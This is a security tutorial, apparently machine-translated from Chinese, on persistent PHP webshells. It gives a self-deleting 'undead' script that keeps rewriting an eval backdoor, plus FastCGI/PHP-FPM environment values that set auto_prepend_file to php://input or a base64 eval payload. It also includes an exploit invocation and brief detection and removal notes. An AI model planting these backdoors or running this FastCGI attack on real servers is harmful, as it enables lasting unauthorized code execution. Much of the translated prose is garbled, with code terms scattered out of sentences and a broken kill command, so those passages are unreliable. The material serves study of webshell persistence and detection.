Article Directory
PHP memory horse
PHP Undead Horse
Principle of PHP Undead Horse
Php undead horse, as the name suggests, refers to a Trojan horse whose process will not die by itself. The Trojan horse keeps creating Trojan horse files in memory, so that the administrator cannot completely delete them. In fact , PHP Undead Horse does not implement fileless attacks or memory webshells, etc. It does not belong to the category of memory horses in theory, but there are indeed only these methods for the realization of PHP memory horses, so here is a brief introduction .
PHP undead horse code
<?php
set_time_limit(0);
ignore_user_abort(1);
unlink(__FILE__);
while (1) {
$content = '<?php @eval($_POST["cmd"]); ?>';
file_put_contents("shell.php", $content);
usleep(10000);
}
?>
function description
1. ignore_user_abort()函数:函数设置与客户机断开是否会终止脚本的执行,如果设置为true,则忽略与用户的断开。
2. set_time_limit()函数:设置允许脚本运行的时间,单位为秒。如果设置为0(零),没有时间方面的限制。
3. unlink(__FILE__)函数:删除文件。
4. file_put_contents函数:将一个字符串写入文件。
5. usleep函数:延迟执行当前脚本若干微秒(一微秒等于一百万分之一秒)。
Access was successful and cannot be deleted.
It is worth noting that php generally has a php timeout event set, so php may automatically terminate after running in the background for a certain period of time.
Detection idea
1. 检查所有php进程处理请求的持续时间(top|grep http)
2. 检测执行文件是否在文件系统真实存在
Kill PHP undead horse
- Restart the php server
- Forcibly kill the background process
ps aux|grep www-data|awk '{print 2}'| xargs kill -9
- competing deletion
For undead horses, it is useless to delete the script directly, because the script has been read in and interpreted as opcode to run when php is executed. Use conditional competition to write the file with the same name to restrain undead horses.
FastCGI-horse
Before understanding the FastCGI horse, let's briefly introduce FastCGI
what it is.
CGI and FastCGI
First of all, let's understand what is CGI
: taking web server as an example, we know that apache can be used to build a web server, but apache can only parse static web pages, that is, html
type web pages; of course, we can install php components and configure them through apache file to enable it to parse php. This is used in it CGI
. CGI refers to a communication protocol for data exchange between Web Server and Web Application . When apache needs to parse php, it will obtain the application port of the parsed php service through the configuration file, and will need to parse the The file data is handed over to the PHP parser through CGI
the protocol. That is to say, apache and php are not a whole (this is where I misunderstood before), but apache CGI
implements php parsing by accessing the php parser inside the protocol. FastCGI
It's CGI
an upgraded version of , CGI
which has made some optimizations in terms of efficiency. The difference between the two is:CGI
each parser will restart a parser process, re-read the configuration file, reload the extension, and exit after the parsing is complete; FastCGI
it is a resident type CGI
, which is only read when the process starts Once the configuration file is configured, it will not exit after the request is parsed, which greatly improves performance.
Analogous to the HTTP protocol, FastCGI
the protocol is the protocol used in data exchange between server middleware and a language backend. FastCGI
The message exchanged each time is called record
, which is similar to the HTTP protocol request packet, and record
also has its own header
sum body
. record
The header is fixed at 8 bytes, body
which is specified in the header contentLength
, and its structure is as follows:
typedef struct {
/* Header */
unsigned char version; // 版本
unsigned char type; // 本次record的类型
unsigned char requestIdB1; // 本次record对应的请求id
unsigned char requestIdB0;
unsigned char contentLengthB1; // body体的大小
unsigned char contentLengthB0;
unsigned char paddingLength; // 额外块大小
unsigned char reserved;
/* Body */
unsigned char contentData[contentLength];
unsigned char paddingData[paddingLength];
} FCGI_Record;
After parsing the header, the language end FastCGI
will follow the contentLength
acquired Body
data Body
with an additional piece of data (Padding), whose length is paddingLength
specified in the header and plays a reserved role. When you don't need it Padding
, just set its length to 0.
There is a variable in the request header, which FastCGI
is used to specify the function. Different structures have different structures. The specific meanings are as follows:type
type
record
record
bode
type value | Concrete meaning |
---|---|
1 | The type value in the first message sent after establishing a connection with php-fpm must be 1, which is used to indicate that this message is the first message at the beginning of the request |
2 | Abnormally disconnected from the interaction with php-fpm |
3 | In the last message sent in the interaction with php-fpm, the type value is this, to indicate the normal end of the interaction |
4 | When passing environment parameters to php-fpm during interaction, set type to this to indicate that the data contained in the message is a name-value pair |
5 | The web server sends the POST request data (form submission, etc.) received from the browser to php-fpm in the form of a message, and the type of this message must be set to 5 |
6 | The type of the normal response message returned by php-fpm to the web server is set to 6 |
7 | The error response returned by php-fpm to the web server is set to 7 |
Here we mainly introduce type
4 record
, because FastCGI
this type is used by Trojan horses record
. For other types, see this article for details .
When the backend language receives a type
record of 4, it will parse the body of the record into a key-value pair according to the corresponding structure, which is the environment variable. The structure of the environment variable is as follows:
typedef struct {
unsigned char nameLengthB0; /* nameLengthB0 >> 7 == 0 */
unsigned char valueLengthB0; /* valueLengthB0 >> 7 == 0 */
unsigned char nameData[nameLength];
unsigned char valueData[valueLength];
} FCGI_NameValuePair11;
typedef struct {
unsigned char nameLengthB0; /* nameLengthB0 >> 7 == 0 */
unsigned char valueLengthB3; /* valueLengthB3 >> 7 == 1 */
unsigned char valueLengthB2;
unsigned char valueLengthB1;
unsigned char valueLengthB0;
unsigned char nameData[nameLength];
unsigned char valueData[valueLength
((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
} FCGI_NameValuePair14;
typedef struct {
unsigned char nameLengthB3; /* nameLengthB3 >> 7 == 1 */
unsigned char nameLengthB2;
unsigned char nameLengthB1;
unsigned char nameLengthB0;
unsigned char valueLengthB0; /* valueLengthB0 >> 7 == 0 */
unsigned char nameData[nameLength
((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
unsigned char valueData[valueLength];
} FCGI_NameValuePair41;
typedef struct {
unsigned char nameLengthB3; /* nameLengthB3 >> 7 == 1 */
unsigned char nameLengthB2;
unsigned char nameLengthB1;
unsigned char nameLengthB0;
unsigned char valueLengthB3; /* valueLengthB3 >> 7 == 1 */
unsigned char valueLengthB2;
unsigned char valueLengthB1;
unsigned char valueLengthB0;
unsigned char nameData[nameLength
((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
unsigned char valueData[valueLength
((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];
} FCGI_NameValuePair44;
These are actually 4 structures. As for which structure to use, there are the following rules:
- Both key and value are less than 128 bytes, use
FCGI_NameValuePair11
- key is greater than 128 bytes, value is less than 128 bytes, use
FCGI_NameValuePair41
- key is less than 128 bytes, value is greater than 128 bytes, use
FCGI_NameValuePair14
- Both key and value are larger than 128 bytes, use
FCGI_NameValuePair44
Regarding the communication between web middleware and php, let's give an example to illustrate. User access http://127.0.0.1/index.php?a=1&b=2
, if the web directory is /var/www/html
, then Nginx will turn this request into the following key-value pair:
{
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'GET',
'SCRIPT_FILENAME': '/var/www/html/index.php',
'SCRIPT_NAME': '/index.php',
'QUERY_STRING': '?a=1&b=2',
'REQUEST_URI': '/index.php?a=1&b=2',
'DOCUMENT_ROOT': '/var/www/html',
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '12345',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1'
}
FastCGI
Nginx sends the above data through the protocol format PHP-FPM
, and after PHP-FPM gets FastCGI
the data packet, it parses it to get the above environment variables. Then, execute SCRIPT_FILENAME
the PHP file pointed to by the value, ie /var/www/html/index.php
.
PHP-FPM
The first thing to say is: FastCGI
it is a protocol specification, php-fpm
which will eventually be parsed. We know that the php parser program ( ) will be started no matter it is CGI
or eventually , but this program can only parse requests and cannot manage processes. It is a process management program that overcomes the need to restart after changing the configuration to make the new one take effect. Smooth restart; kill the process directly , it will not run and other problems. Specific information can be found in this articleFastCGI
php-cgi
php-fpm
php-cgi
php-cgi
php.ini
php-cgi
php-ini
php-cgi
php
FastCGI unauthorized access
So, if we can control FastCGI
the communication protocol, can we execute arbitrary code?
Of course it is not possible in theory, but there are two special configuration items in the PHP configuration that can help us achieve this: auto_prepend_file
and auto_append_file
.
auto_prepend_file
auto_prepend_file
is to tell PHP to include the specified file before executing the target file ;auto_append_file
auto_append_file
It tells PHP to include the pointed file after the target file is executed .
If we set it auto_prepend_file
to php://input
(as long as the Content-Type is not set multipart/form-data
, php://input
the post data will be filled in, see the official document for details ), then it is equivalent to php
including POST
the content before executing any file. Therefore, we only need to put the code to be executed in the Body, and they can be executed. Of course, you also need to enable the remote file inclusion option allow_url_include
.
So, how do we set it up auto-prepend_file
?
This in turn involves two environment variables for PHP-FPM, PHP_VALUE
and PHP_ADMIN_VALUE
. These two environment variables are used to set PHP configuration items. PHP_VALUE
You can set the mode as PHP_INI_USER
and PHP_INI_ALL
options, and PHP_ADMIN_VALUE
you can set all options. ( disable_functions
Except, this option is determined when PHP is loaded, and functions in the scope will not be loaded directly into the PHP context)
So, we end up passing in the following environment variables:
{
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'GET',
'SCRIPT_FILENAME': '/var/www/html/index.php',
'SCRIPT_NAME': '/index.php',
'QUERY_STRING': '?a=1&b=2',
'REQUEST_URI': '/index.php?a=1&b=2',
'DOCUMENT_ROOT': '/var/www/html',
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '12345',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1'
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}
Vulnerability recurrence
The reproduction environment can use vulhub's CVE-2019-11043 reproduction environment.
Exp see p God's code https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75.
python php_fpm.py 127.0.0.1 /usr/local/lib/php/PEAR.php -c "<?php echo `id`;?>"
reference link
Fastcgi protocol analysis && PHP-FPM unauthorized access vulnerability && Exp writing
Fastcgi protocol analysis and examples
Using PHP-FPM as a memory horse
The last chapter introduced the PHP undead horse that is close to the memory horse and FastCGI
the Trojan horse made by using it, but these two Trojan horses do not meet the basic characteristics of the memory horse - PHP code cannot be executed in memory for a long time . Next, we will analyze FastCGI
the horse The corresponding improvements make it a real memory horse.
In FastCGI
the horse, we use PHP_VALUE
settings auto_prepend_file = php://input
so that the data passed in by the http request can be executed, so is there a way to make the backdoor code reside in memory? * We only need to php://input
change the protocol to data
( the content of base64 is <?php @eval($_REQUEST[test]); ?>
)
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_VALUE': 'auto_prepend_file =\'data:;base64,PD9waHAgQGV2YWwoJF9SRVFVRVNUW3Rlc3RdKTsgPz4=\'',
Payload can be modified with P God’s code.
God P's script: https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75
Since it is used auto_prepend_file
, we only need to visit any normal PHP file on the server without any modification to trigger our memory horse.
Of course, this solution also has limitations, because it is a memory horse, so it is actually bound to the Worker process of PHP-FPM. Therefore, if there are multiple Worker processes on the server, we need to send the request a few more times. times to allow our payload to "infect" every process.
Memory horse detection
Since it is a memory horse, we cannot find it from code scanning. And because he just modified the PHP configuration in memory, we can't PHP.ini/.user.ini/php-fpm.conf
detect it from the content of the etc. file. The real addition of memory horses only needs to send requests to the port that fpm listens to, so it is impossible to find problems from the accesslog of the webserver. But we can use tools such as rasp to check auto_prepend_file/auto_append_file/allow_url_inclue
configuration changes (although many rasps do not do these operations at present) to do detection.
In addition, since the trigger method can be any PHP file, it is difficult for us to check from the subsequent access behavior, but we can check the corresponding backdoor payload from the network traffic, or from the behavior of the process. examine.